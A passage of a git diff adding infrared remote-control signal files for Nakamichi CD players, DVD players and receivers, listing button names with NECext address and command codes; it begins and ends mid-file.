SR/TE_TEDIT/FADE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DE 00 00 00 +# +name: SR/TE_RESET +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DF 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir new file mode 100644 index 000000000..015599643 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 80 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 82 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 83 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir new file mode 100644 index 000000000..631e3810a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 00 00 00 00 +# +name: Z_-_TRACK_(_+_) +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 01 00 00 00 +# +name: Z_-_TRACK_(_-_) +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 02 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 03 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 06 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 09 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 0B 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 0F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 10 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 10 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 13 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 14 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 18 00 00 00 +# +name: SUBTITLE_-_ON_/_OFF +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 1A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 1B 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 1D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 41 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 42 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 43 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 44 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 45 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 46 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 48 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 49 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 4B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 4B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 4E 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 4F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 50 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 58 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 59 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 5C 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 5C A2 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir new file mode 100644 index 000000000..c4f309435 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: CD_DISC_^ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: CD_DISC_1-6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: CD_DISC_V +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 90 00 00 00 +# +name: CD_DISC_SCAN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 93 00 00 00 +# +name: DISC_SCAN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 93 00 00 00 +# +name: CD_SINGLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 9A 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: CD_SEARCH_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: CD_SKIP_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: CD_TRACK_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: CD_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: CD_SKIP_I< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C5 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C5 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C6 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C6 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: CD_SEARCH_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: CD_SKIP_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: CD_TRACK_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: CD_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: CD_SKIP_>I +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CB 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CB 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DB 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir new file mode 100644 index 000000000..664573a06 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir @@ -0,0 +1,572 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 00 00 00 00 +# +name: INPUT_-_DVD +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 00 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 01 00 00 00 +# +name: INPUT_-_VIDEO +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 01 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 03 00 00 00 +# +name: INPUT_-_CD +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 04 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 05 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 05 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 05 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 07 00 00 00 +# +name: INPUT_-_VCR_2 +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 07 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 08 00 00 00 +# +name: INPUT_-_TUNER +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 08 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0A 00 00 00 +# +name: INPUT_-_AUX +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0A 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0B 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0B 00 00 00 +# +name: INPUT_-_VCR_1 +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0C 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0C 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 0F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 10 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 10 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 10 00 00 00 +# +name: INPUT_ATT. +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 11 00 00 00 +# +name: SURND_-_INPUT_ATT. +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 11 00 00 00 +# +name: TAPE_MONITOR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 12 00 00 00 +# +name: TAPE/MONITOR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 12 00 00 00 +# +name: INPUT_-_TAPE_MONITOR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 12 00 00 00 +# +name: DIGITAL_INPUT +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 1C 00 00 00 +# +name: INPUT_-_DIGITAL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 1C 00 00 00 +# +name: DISPLY +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 1E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 1E 00 00 00 +# +name: DOLBY_DIGITAL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 40 00 00 00 +# +name: SURR_-_DIGITAL_DOLBY +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 40 00 00 00 +# +name: DOLBY_PRO +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 41 00 00 00 +# +name: SURROUND_PRO_LOGIC +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 41 00 00 00 +# +name: SURR_-_PRO_LOGIC +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 41 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 42 00 00 00 +# +name: SURROUND_OFF +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 42 00 00 00 +# +name: SURR_-_OFF +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 42 00 00 00 +# +name: SURROUND_CENTER_MODE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 43 00 00 00 +# +name: DYN_RANGE_COMP. +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 44 00 00 00 +# +name: SURND_-_D.RANG_COMP +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 44 00 00 00 +# +name: LFE_ATT. +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 45 00 00 00 +# +name: SURND_-_LFE_ATT. +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 45 00 00 00 +# +name: SURND_-_SPKR_SELECT +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 46 00 00 00 +# +name: SURND_-_SPKR_MODE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 47 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 48 00 00 00 +# +name: SURROUND_TEST_TONE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 48 00 00 00 +# +name: SURND_-_TEST_TONE +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 48 00 00 00 +# +name: CALIBRATION_LEVEL_+ +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4A 00 00 00 +# +name: SURROUND_CAL._+ +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4A 00 00 00 +# +name: SURND_-_CAL_(_+_) +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4A 00 00 00 +# +name: CALIBRATION_LEVEL_- +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4B 00 00 00 +# +name: SURROUND_CAL._- +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4B 00 00 00 +# +name: SURND_-_CAL_(_-_) +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4B 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4D 00 00 00 +# +name: SURND_-_SW +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4D 00 00 00 +# +name: RIGHT_REAR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4E 00 00 00 +# +name: SURND_-_REAR_(_R_) +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4E 00 00 00 +# +name: REAR_DELAY +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4F 00 00 00 +# +name: SURROUND_DELAY +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4F 00 00 00 +# +name: SURND_-_DELAY_(REAR) +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 4F 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 51 00 00 00 +# +name: SURROUND_CENTER +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 51 00 00 00 +# +name: SURND_-_CENTER +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 51 00 00 00 +# +name: LEFT_REAR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 52 00 00 00 +# +name: SURROUND_REAR +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 52 00 00 00 +# +name: SURND_-_REAR_(_L_) +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 52 00 00 00 +# +name: CENTER_DELAY +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 53 00 00 00 +# +name: SURND_-_DELAY_(CNTR) +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 53 00 00 00 +# +name: NATURAL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 54 00 00 00 +# +name: SURROUND_NATURAL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 54 00 00 00 +# +name: SURR_-_NATURAL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 54 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 55 00 00 00 +# +name: SURROUND_HALL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 55 00 00 00 +# +name: SURR_-_HALL +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 55 00 00 00 +# +name: SURROUND_STADIUM +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 56 00 00 00 +# +name: SURR_-_STADIUM +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 56 00 00 00 +# +name: TUNER_FM +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 58 00 00 00 +# +name: TUNER_-_FM +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 58 00 00 00 +# +name: TUNER_AM +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 59 00 00 00 +# +name: TUNER_-_AM +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 59 00 00 00 +# +name: TUNER_SHIFT +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5A 00 00 00 +# +name: TUNER_-_SHIFT +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5A 00 00 00 +# +name: TUNER_PRESET_^ +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5C 00 00 00 +# +name: TUNER_-_PRESET_UP +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5C 00 00 00 +# +name: TUNER_PRESET_V +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5D 00 00 00 +# +name: TUNER_-_PRESET_DOWN +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5D 00 00 00 +# +name: TUNER_SEEK_^ +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5E 00 00 00 +# +name: TUNER_-_SEEK_UP +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5E 00 00 00 +# +name: TUNER_SEEK_V +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5F 00 00 00 +# +name: TUNER_-_SEEK_DOWN +type: parsed +protocol: NECext +address: 82 5D 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir new file mode 100644 index 000000000..d4452c9d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 03 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 04 00 00 00 +# +name: TUNER_P.SCAN_P.CALL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 06 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 07 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0E 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0F 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 3B 00 00 00 +# +name: TUNER_0 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 40 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 41 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 42 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 43 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 44 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 45 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 46 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 47 00 00 00 +# +name: TUNER_8 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 48 00 00 00 +# +name: TUNER_9 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 49 00 00 00 +# +name: CONTROL_^ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 4F 00 00 00 +# +name: CONTROL_V +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 50 00 00 00 +# +name: SUPER_BASS +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 68 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 6A 00 00 00 +# +name: TREBLE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 6C 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 6E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 78 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 79 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 7F 00 00 00 +# +name: TUNER_TUNING_^ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: B2 00 00 00 +# +name: TUNER_TUNING_V +type: parsed +protocol: NECext +address: BA 00 00 00 +command: B3 00 00 00 +# +name: SURROUND_OFF +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E0 00 00 00 +# +name: DOLBY_PRO.LOGIC +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E1 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E3 00 00 00 +# +name: NATURAL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E4 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E5 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E7 00 00 00 +# +name: DELAY_TIME +type: parsed +protocol: NECext +address: BA 00 00 00 +command: E9 00 00 00 +# +name: REAR_LEVEL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: F0 00 00 00 +# +name: CENTER_LEVEL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: F2 00 00 00 +# +name: MEMORY_CALL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: F4 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: F6 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: F7 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: FB 00 00 00 +# +name: SPATIAL +type: parsed +protocol: NECext +address: BA 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir new file mode 100644 index 000000000..1196f9425 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir @@ -0,0 +1,536 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 03 00 00 00 +# +name: TUNER_SEEK^(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 04 00 00 00 +# +name: SEEK_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 04 00 00 00 +# +name: TUNER_SEEKV(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 05 00 00 00 +# +name: SEEK_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 05 00 00 00 +# +name: TUNER_AM(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 06 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 06 00 00 00 +# +name: TUNER_FM(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 07 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 07 00 00 00 +# +name: TUNER_PRESET^(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 12 00 00 00 +# +name: PRESET_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 12 00 00 00 +# +name: TUNER_PRESETV(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 13 00 00 00 +# +name: PRESET_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 13 00 00 00 +# +name: TAPE1_REC +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 14 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 14 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 15 00 00 00 +# +name: TAPE_PLAY_FORWARD +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 15 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 16 00 00 00 +# +name: TAPE_PAUSE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 16 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 17 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 17 00 00 00 +# +name: SPKS_A +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 40 00 00 00 +# +name: SPKS_B +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 41 00 00 00 +# +name: SPKS_A+B +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 42 00 00 00 +# +name: SPKS_OFF +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 43 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 44 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 45 00 00 00 +# +name: TUNER_(TAPE1) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 46 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 46 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 47 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 47 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 48 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 49 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 49 00 00 00 +# +name: TAPE_2/VCR +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 4A 00 00 00 +# +name: TAPE1_FFWD_>> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 54 00 00 00 +# +name: TAPE_FF +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 54 00 00 00 +# +name: TAPE1_REW_<< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 55 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 55 00 00 00 +# +name: TAPE1_CUE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 56 00 00 00 +# +name: CUE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 56 00 00 00 +# +name: TAPE1_R.PLAY_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 58 00 00 00 +# +name: TAPE_REVERSE_PLAY +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 58 00 00 00 +# +name: TAPE1_AZIMUTH_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 59 00 00 00 +# +name: TAPE1_AZIMUTH_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 5A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 5C 